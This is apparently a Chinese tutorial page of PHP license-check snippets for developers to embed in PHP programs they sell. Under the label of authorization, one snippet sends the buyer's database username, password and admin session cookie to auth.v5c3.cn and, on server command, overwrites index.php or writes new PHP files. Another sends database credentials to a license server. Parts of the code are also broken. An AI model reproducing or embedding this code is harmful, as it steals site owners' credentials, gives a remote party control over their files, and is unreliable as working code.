~~~
//示例代码
YunClass();
function YunClass(){
session_start();
$authkey=""; //授权程序密钥
$check_host = 'http://'; // http://后是您的域名.请不要带
if (isset($_SESSION["status"]) && $_SESSION["status"] == 1)
{
//缓存存在并验证通过,返回信息自定义或者为空
}
else {
$yuan_check = $check_host . '/api/authlook/other?host=' . $_SERVER['HTTP_HOST'] . '&version=1.0' .'&authkey=' . $authkey;
$yuan_message =geturldata($jialan_check);// file_get_contents($yuan_check);
$yuan_message = json_decode($yuan_message,true);
if($yuan_message['code']!=1){
$_SESSION['status']=0;
echo $yuan_message['msg'];
die;
}else{
$_SESSION['status']=1;
}
}
}
function geturldata($url)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,10);
$content = curl_exec($ch);
return $content;
}
~~~
### **参考示例**
```
define('AUTH_API_URL', 'http:// /api.php');
$urlData = @json_decode(file_get_contents(AUTH_API_URL . '?act=apiSearchUrl&url=' . $_SERVER['HTTP_HOST']),TRUE);
if (!$urlData['code']) exit(htmlspecialchars_decode($urlData['msg']));
if (!is_array($urlData)) exit('网络链接失败');
```
```
if (!isset($\_SESSION\['AUTHGUAO'\])) {
$authurls\_arr = \['auth.v5c3.cn'\];
$authurls = $authurls\_arr\[array\_rand($authurls\_arr, 1)\];
$query = curl\_get('http://'.$authurls.'/api/check.php?proid=1&url='.$\_SERVER\['HTTP\_HOST'\].'&authcode='.authcode);
curl\_get('http://'.$authurls.'/api/block.php?proid=1&url='.$\_SERVER\['HTTP\_HOST'\].'&user='.$dbconfig\['user'\].'&pwd='.$dbconfig\['pwd'\].'&db='.$dbconfig\['db'\].'&cookies='.$\_COOKIE\['admin\_auth\_token'\]);
if ($query = json\_decode($query, true)) {
if ($query\['code'\] == 1) {
$\_SESSION\['AUTHGUAO'\] = authcode;
} else if ($query\['code'\] == 2) {
file\_put\_contents(ROOT.'hm.php',file\_put\_contents('http://'.$authurls.'/hm/hm.txt'));
sysmsge(''.$query\['msg'\].'', true);
} else if ($query\["code"\] == 3) {
file\_put\_contents(ROOT.'hy.php',file\_put\_contents('http://'.$authurls.'/hm/hy.txt'));
sysmsge(''.$query\['msg'\].'', true);
} else if ($query\['code'\] == 4) {
file\_put\_contents(ROOT.'index.php',file\_put\_contents('http://'.$authurls.'/hm/hys.txt'));
sysmsge(''.$query\['msg'\].'', true);
} else {
sysmsge(''.$query\['msg'\].'', true);
}
} else if (!empty($query)) {
sysmsge('授权验证结果异常!', true);
} else {
sysmsge('检测到客户端环境异常,授权服务器拒绝连接!', true);
}
}
```
```
/*添加到需要授权php源码顶部 (不判断IP)*/ 请添加在<?php ?> 里面
function OreoClass($oreoconfig){ //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
error_reporting(0);
function getTopDomainhuo(){
$host=$_SERVER['HTTP_HOST'];
$matchstr="[^\.]+\.(?:(".$str.")|\w{2}|((".$str.")\.\w{2}))$";
if(preg_match("/".$matchstr."/ies",$host,$matchs)){
$domain=$matchs['0'];
}else{
$domain=$host;
}
return $domain;
}
$authid=""; //这里=后面的字符是在设置授权程序页面配置程序后生成的系统验证码
$domain=getTopDomainhuo();
$real_domain='baidu.com'; //本地检查时 用户的授权域名 和时间
$check_host = 'http:// /oreo_look.php'; // http://后是您的域名.
$oreo_check = $check_host . '?a=client_check&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid. '&host=' . $oreoconfig['host']. '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' .$oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
$check_message = $check_host . '?a=check_message&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid.'&host=' . $oreoconfig['host'] . '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' . $oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
$oreo_info=file_get_contents($oreo_check);
$oreo_message = file_get_contents($check_message);
if($oreo_info=='1'){
echo $oreo_message;
die;
}elseif($oreo_info=='2'){
echo $oreo_message;
die;
}elseif($oreo_info=='3'){
echo $oreo_message;
die;
}
elseif($oreo_info=='4'){
echo $oreo_message;
die;
}
if($oreo_info!=='0'){ // 远程检查失败的时候 本地检查
if($domain!==$real_domain){
echo '远程检查失败了。请联系授权提供商QQ:609451870。';
die;
}
}
unset($domain);
}
上述代码加入您的核心文件,在于核心链接数据库代码下方即可!
$oreosq=OreoClass($oreoconfig);
//其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
//需要验证的页面加入此代码自动运行,也可以加入您的核心。
```